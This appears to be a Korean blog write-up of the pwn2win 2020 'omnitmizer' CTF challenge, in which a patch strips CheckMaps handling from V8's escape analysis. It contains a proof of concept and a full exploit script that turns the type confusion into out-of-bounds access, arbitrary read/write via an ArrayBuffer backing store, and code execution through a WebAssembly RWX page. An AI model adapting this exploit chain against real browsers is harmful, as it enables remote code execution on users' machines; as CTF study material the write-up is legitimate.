본문 바로가기

브라우저

pwn2win 2020 / omnitmizer

 

# Make POC

 

patch 파일과 d8.exe가 주어집니다. patch 파일을 보면 escape-analysis.cc의 reduce함수에서 case IrOpcode::kCheckMaps:을 거의 지워버린 것을 볼 수 있습니다. reduce 함수는 사용자 정의 함수를 최적화할 때 사용되는 함수 중 하나입니다. 따라서 escape-analysis 최적화를 할 때 Maps(타입) 검사를 지워버리는 패치라고 이해할 수 있습니다. 

 

https://github.com/v8/v8/tree/50dd84ca317ae35c926ed34d001a72b62aea6662
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index b3f684ea61..ae2cbdabca 1006패44
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -726,29 +726,8 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
       break;
     }
     case IrOpcode::kCheckMaps: {
-      CheckMapsParameters params = CheckMapsParametersOf(op);
-      Node* checked = current->ValueInput(0);
-      const VirtualObject* vobject = current->GetVirtualObject(checked);
-      Variable map_field;
-      Node* map;
-      if (vobject && !vobject->HasEscaped() &&
-          vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
-          current->Get(map_field).To(&map)) {
-        if (map) {
-          Type const map_type = NodeProperties::GetType(map);
-          if (map_type.IsHeapConstant() &&
-              params.maps().contains(
-                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
-            current->MarkForDeletion();
-            break;
-          }
-        } else {
-          // If the variable has no value, we have not reached the fixed-point
-          // yet.
-          break;
-        }
-      }
-      current->SetEscaped(checked);
+      //OmniTmizer - Improving performance
+      current->MarkForDeletion();
       break;
     }
     case IrOpcode::kCompareMaps: {

 

Escape-Analysis에 관한 좋은 자료가 있습니다. Escape-Analysis뿐만 아니라 Turbofan의 최적화 과정에 대해 전반적으로 다루기 때문에, v8 최적화 과정에 대해 아직 공부한 적 없는 분은 참고하시면 좋을 것 같습니다.

https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf

 

 

위의 PPT를 읽으면 escape-analysis.cc의 reduce함수가 사용자 정의 함수 밖에서 온 변수들을 최적화하는 함수하는 것을 유추할 수 있습니다. 따라서 우리는 다음과 같은 POC를 만들 수 있습니다.

function gc(){
    dead =0xdead;
    beef = 0xbeef;
    for(qqq=0;qqq<0x100;qqq++){
        dead = dead ^ beef
    }
}




function confusion(test){
    gc()
    gc()
    gc()
    for(i=0;i<0x10;i++){
        cc=0xaaaaa
    }
    return test[0]
}




f=[1.1,2.2,3.3]
for(j=0;j<0x1000;j++){
    confusion(f)// confusion 함수는 test가 float array이라는 가정하에 컴파일됩니다. 
}
f[0]={} //CheckMaps가 없기 때문에 다른 Maps를 가진 오브젝트가 들어와도 Maps를 체크하지 못합니다. 
print(confusion(f))

 

위 코드를 d8.exe로 실행하기 전에, d8를 리눅스 환경에서 다시 빌드할 것입니다. 그 이유는 다음과 같습니다. 

 

  • V8 exploit은 쉘코드 부분을 제외하면 Linux와 Windows 간의 환경차이가 적습니다.
  • 대부분의 포너는 windows보다는 Linux에 익숙합니다.
  • 어차피 디버깅을 원할하게 하기 위해서 debug 빌드를 해야 합니다.

 

위 코드를 컴파일한 d8에서 실행하면 {} 가 float로 처리되어 Memory leak이 발생하는 것을 확인할 수 있습니다. 

 

 

# exploit

 

POC.js를 활용해서 PACKED_ELEMENTS와 PACKED_DOUBLE_ELEMENTS 사이에 Type confusion을 발생시킬 수 있습니다. FakeObj와 Addr_of를 만들어 exploit을 할 수도 있겠지만, 저는 OOB object를 만들어 exloit했습니다. 이유는 이전에 비슷한 케이스를 OOB로 exploit해 본적이 있기 때문입니다. (아마 Fake_obj와 Addr_of를 활용한 풀이가 더 쉬울 것 같습니다.) OOB object를 만들 수 있는 이유는 PACKED_ELEMENTS는 하나의 element를 저장하는데 4바이트를 이용하지만,  PACKED_DOUBLE_ELEMENTS는 하나의 element를 저장하는데 8바이트를 이용하기 때문입니다. 그 이유는 V8에서는 compressed pointer를 이용하기 때문입니다. ( https://v8.dev/blog/pointer-compression

 

 

  • PACKED_ELEMENTS에 대하여 PACKED_DUBLE_ELEMENTS인 것처럼 착각하게 하여 length의 두 배만큼 OOB를 일으킵니다.
  • OOB Object를 만든 후에 평소에 하던대로 victim Object를 만들어서 external_pointer를 Leak하여 v8 heap base를 알아냅니다. (https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html).
  • victim object의 elements 포인터를 덮어써서 v8 heap base내에서 AAW, AAR Object를 얻어냅니다.
  • victim object를 활용하여 ArrayBuffer의 backing_store을 원하는 값으로 덮어줍니다. 이렇게 덮어써진 값으로 v8 heap에서 벗어나서 full AAR, AAW이 가능해집니다. 
  • web assembly의 RWX 영역을 활용해서 RCE를 얻어냅니다. 

 

 

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);




function ftoi(val) { // typeof(val) = float
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}
function hex(val){
	return "0x"+val.toString(16)
}

function assert(a){
	if(a){

		return;
	}
	throw "error"
}

function gc(){
	dead =0xdead;
	beef = 0xbeef;
	for(qqq=0;qqq<0x100;qqq++){
		dead = dead ^ beef
	}
}


function confusion_f_l(a,idx){
	gc()
	gc()
	gc()
	dead =0xdead
	beef =0xbeef
	dead + beef
	gc()
	gc()

	return a[idx];
}

function confusion_f_i(a,idx,f){
        gc()
        gc()
        gc()
        dead =0xdead
        beef =0xbeef
        dead + beef

        a[idx] = f ;
}



function confusion_o(a,idx,f){
        gc()
	gc()
	dead = 0xdead;
        gc()
	gc()
        a[idx]=f;
}



function set_ptr(victim,ptr){
	victim[1] = Number((ptr%0x100n ) * 0x1000000n)
	victim[2] = Number((ptr/0x100n)%0x100000000n)
	victim[3] = Number((ptr/0x10000000000n)%0x100n)
}

function main(){
	var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
	var wasm_mod = new WebAssembly.Module(wasm_code);
	var wasm_instance = new WebAssembly.Instance(wasm_mod);
	var sh = wasm_instance.exports.main;
	f = [1.1,2.2,3.3,4.4,5.5]
	fl= [1.1,2.2,3.3,4.4,5.5]
	o = [{"a":1},{"b":1},{"d":1},{"c":1}]
	test = []
	test.length=0x100;
	test.fill({"a":1})
	victim = new Int32Array(0x10)
	AAWR = new ArrayBuffer(8);;

	for(i = 0 ; i<0x1000;i++){
		gc()
		gc()
		confusion_f_l(f,0)
	
	}
	for(i=0 ; i<0x1000;i++){
		gc()
		gc()
		confusion_f_i(f,0,1.1)

	}

	for(var iii =0; iii<0x100;iii++){
		leak = confusion_f_l(test, iii ,0,1);
		tmp = ftoi(leak)%0x1000n
		if(tmp ==7){
			var isolate_idx = iii;
			var element_idx = iii+1;
			print("isolate find!!")
			print("isolate_idx = "+isolate_idx)
			print("element_idx = "+element_idx)
		}
	
	
	
	}
	isolate = confusion_f_l(test, isolate_idx);
	isolate = ftoi(isolate)-7n
	print("isolate = "+hex(isolate))

	fl[0] = AAWR
	AAWR_addr = confusion_f_l(fl,0)
	AAWR_addr = ftoi(AAWR_addr)% 0x100000000n + isolate 
	
	fl[0] = wasm_instance 
	RWX_ptr = confusion_f_l(fl,0)
	RWX_ptr = ftoi(RWX_ptr)%0x100000000n +0x68n-1n+isolate
	print("RWX_ptr = "+hex(RWX_ptr));

	backing = AAWR_addr+  0x19n -0x10n-4n
	print("backing = "+hex(backing))
	backing = backing% 0x100000000n
	confusion_f_i(test, element_idx ,itof(backing));

	set_ptr(victim, RWX_ptr)

	view = new DataView(AAWR)
	RWX = view.getUint32(0,true)
	RWX+= view.getUint32(4,true)*0x100000000
	print("RWX = "+hex(RWX))
	console.log('')

	set_ptr(victim,BigInt(RWX))
	view = new DataView(AAWR)
	RWX = view.setUint32(0,0xcccccccc,true)
	RWX = view.setUint32(4,0xcccccccc,true)
	sh()
}	

main()

 

 

 

시간이 날 때, 좀 더 자세히 정리하는 걸로 ...

'브라우저' 카테고리의 다른 글

DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
Chrome v8 / CVE-2020-6418  (1) 2020.04.25
Chrome v8 / CVE-2019-5825  (0) 2020.04.23
2017 codegate / js_world  (0) 2020.02.29